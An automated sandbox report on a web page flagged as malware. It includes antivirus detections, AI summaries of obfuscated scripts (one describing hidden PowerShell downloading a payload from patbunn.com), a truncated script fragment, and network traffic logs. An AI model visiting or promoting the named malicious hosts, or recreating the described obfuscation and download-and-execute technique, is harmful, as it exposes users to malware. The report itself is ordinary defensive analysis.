Edit tour

Windows Analysis Report
https://noisefreqs.com/Ray-verify.html

Overview

General Information

Sample URL:	https://noisefreqs.com/Ray-verify.html
Analysis ID:	1565470
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

AI detected suspicious Javascript

HTML page contains string obfuscation

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2924 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3168 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 --field-trial-handle=2260,i,4040764079350248205,16213322567652078909,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6628 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://noisefreqs.com/Ray-verify.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://noisefreqs.com/Ray-verify.html

Avira URL Cloud: detection malicious, Label: malware

Antivirus detection for URL or domain

Source: https://noisefreqs.com/favicon.ico

Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.9.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: Script shows multiple high-risk indicators: heavy obfuscation (variable names l1l, ll1, etc.), checks for browser/environment conditions likely for fingerprinting, protocol manipulation (zLP variable), and contains large blocks of commented whitespace to obscure code. Pattern matches known malicious code obfuscation techniques.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: Script contains multiple high-risk indicators: heavily obfuscated code using unescape/eval (3 points), aggressive DOM manipulation through insertAdjacentHTML (2 points), dynamic code execution via eval (3 points), and suspicious string manipulation patterns (1 point). The obfuscation appears intentional to hide malicious behavior.
Source: 0.12.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: This script contains multiple high-risk indicators: 1) Uses eval() for dynamic code execution, 2) Heavy obfuscation through escape/unescape encoding, 3) Aggressive DOM manipulation through insertAdjacentHTML, and 4) Creates large strings of suspicious content. The code appears deliberately obscured to hide malicious intent.
Source: 0.11.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: High-risk code containing multiple severe security issues: 1) Uses eval() for dynamic code execution, 2) Contains heavily obfuscated/encoded strings using unescape(), 3) Uses string concatenation and global variables in suspicious ways, 4) Code is intentionally obscured with excessive whitespace and comments. Pattern matches known malicious code behaviors.
Source: 0.7.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: Highly malicious code detected: Uses ActiveX to spawn PowerShell, attempts to hide window (moveTo negative coordinates), downloads external payload from suspicious domain (patbunn.com), uses heavy obfuscation with string concatenation and character replacement, and executes downloaded content. Classic malware behavior with multiple high-risk indicators including dynamic code execution, obfuscation, and suspicious domain interaction.
Source: 0.5.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: High-risk script with multiple red flags: heavy obfuscation (variable names like 'III1', 'l111'), DOM manipulation to hide/remove elements, disabling of critical window functions (window.open, document.write, alert), injection of hidden content, and browser fingerprinting. Uses String.fromCharCode for obfuscation and creates large amounts of whitespace, typical of malicious scripts attempting to evade detection.
Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: High-risk code containing multiple red flags: heavily obfuscated strings, use of eval() with unescape() for dynamic code execution, and suspicious variable naming patterns typical of malware. The presence of encoded URI components and seemingly random variable names suggests deliberate obfuscation to hide malicious intent.

Source: https://noisefreqs.com/Ray-verify.html

HTTP Parser: Found new string: script /*....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................*/var ppconf=0;var qy7='';...

Source: https://noisefreqs.com/Ray-verify.html	HTTP Parser: No favicon
Source: https://noisefreqs.com/Ray-verify.html	HTTP Parser: No favicon
Source: http://www.protware.com/	HTTP Parser: No favicon
Source: http://www.protware.com/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49766 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63

Source: global traffic	HTTP traffic detected: GET /Ray-verify.html HTTP/1.1Host: noisefreqs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: noisefreqs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://noisefreqs.com/Ray-verify.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XutZmyL2PtaZank&MD=3+svr3o1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XutZmyL2PtaZank&MD=3+svr3o1 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.protware.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mm.js HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.protware.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /menu.htm HTTP/1.1Host: www.protware.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://www.protware.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /blank.htm HTTP/1.1Host: www.protware.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://www.protware.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /home.htm HTTP/1.1Host: www.protware.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://www.protware.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mm.js HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /styleIE.css HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://www.protware.com/home.htmAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /frm.js HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.protware.com/home.htmAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stat.js HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.protware.com/home.htmAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /style_M.css HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/css,/;q=0.1Referer: http://www.protware.com/menu.htmAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scroll.js HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.protware.com/home.htmAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tpmnu.js HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Referer: http://www.protware.com/menu.htmAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
